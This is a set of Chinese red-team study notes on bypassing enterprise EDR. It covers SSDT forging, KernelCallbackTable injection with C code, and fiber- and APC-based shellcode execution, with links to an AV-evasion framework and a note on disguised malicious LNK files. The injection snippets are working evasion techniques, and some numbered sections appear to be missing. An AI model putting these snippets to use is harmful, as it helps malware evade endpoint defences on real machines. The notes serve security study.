0x01 企业级EDR绕过技术
- 原文名称:A blueprint for evading industry leading endpoint protection in 2022
- 作者主要介绍了规避现代EDR的几种常见思路
0x02 构建API调用框架绕过杀软hook
通常API函数调用过程如下:
3环API(kernel32.dll) -> ntdll.dll -> sysenter -> KiFastCallentry -> SSDT -> 真正调用的0环API文章作者的思路是既然应用层API调用都要经过SSDT,继而调用R0的函数,EDR产品会使用SSDT hook来监控敏感的调用。
所以,我们通过伪造的SSDT,来规避EDR产品检测。- 作者首先通过中断门,进入R0,然后在伪造SSDT。这样的话,R3程序通过中断门,通过伪造的SSDT进入指定的内核函数。然后规避EDR。
- 但是,这个方法比较理想化,第一:win7及以上系统无法通过中断门进入,所以,理论上这个方法只能在windowsxp下实现,第二:因为涉及到驱动文件,如何保证文件落地不被查杀,第二,如何保证驱动能被安全的加载,第三,合理有效的数字签名如何获取。
Ref:https://tttang.com/archive/1546/
0x03 Kernelcallbacktable 注入
KernelCallbackTable(系统回调表)是由KeUserModeCallback函数调用,每当GUI进程加载User32.dll的时候,系统就会通过PEB找到KernelCallbackTable地址,并进行初始化为函数数组,这个函数数组中的函数通常用于响应窗口消息。
所以,攻击者可以通过修改远程进程的KernelCallbackTable的函数数组,然后发送一个对应的窗口消息,从而实现劫持执行流。
本文作者参考modexpblog的思路:
通过窗口获取目标进程Pid,从而获取目标进程的伪句柄。
12HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);printf("[+] Process Handle: 0x%p\n", hProcess);通过调用
NtQueryInformationProcess
获取ProcessBasicInformation,pbi结构体中保存着Peb的地址123PROCESS_BASIC_INFORMATION pbi;pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
* 通过PEB获取KernelCallbackTable
|
|
LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);
// Update the PEB
WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
printf(“[+] Remote process PEB updated\n”);
COPYDATASTRUCT cds;
WCHAR msg[] = L”Pwn”;
cds.dwData = 1;
cds.cbData = lstrlen(msg) * 2;
cds.lpData = msg;
SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
//Fiber
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
SwitchToFiber(shellcodeFiber);
//APC
char buffer = (char)Allocate(GetCurrentProcess(), 0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(buffer, shellcode, shellcode_size);
QueueUserAPC((PAPCFUNC)buffer, hthread, (ULONG_PTR)buffer);
```
- ===>[TODO]如果要学怎么写一个免杀框架,inceptor是一个很好地学习例子。
- Ref:https://github.com/klezVirus/inceptor
- Ref:https://assume-breach.medium.com/home-grown-red-team-testing-common-av-evasion-with-pe-packers-on-windows-11-a2a9e873fe13
- Ref:https://www.1ight.top/纤程注入shellcode/
0x06 攻击技术研判|发现新招!攻击者投递伪装成文件夹的恶意LNK
- 就是利用社会工程学伪装lnk执行后续恶意dll。
- https://mp.weixin.qq.com/s/rCEoKdi-_qLWw86vZKrVWA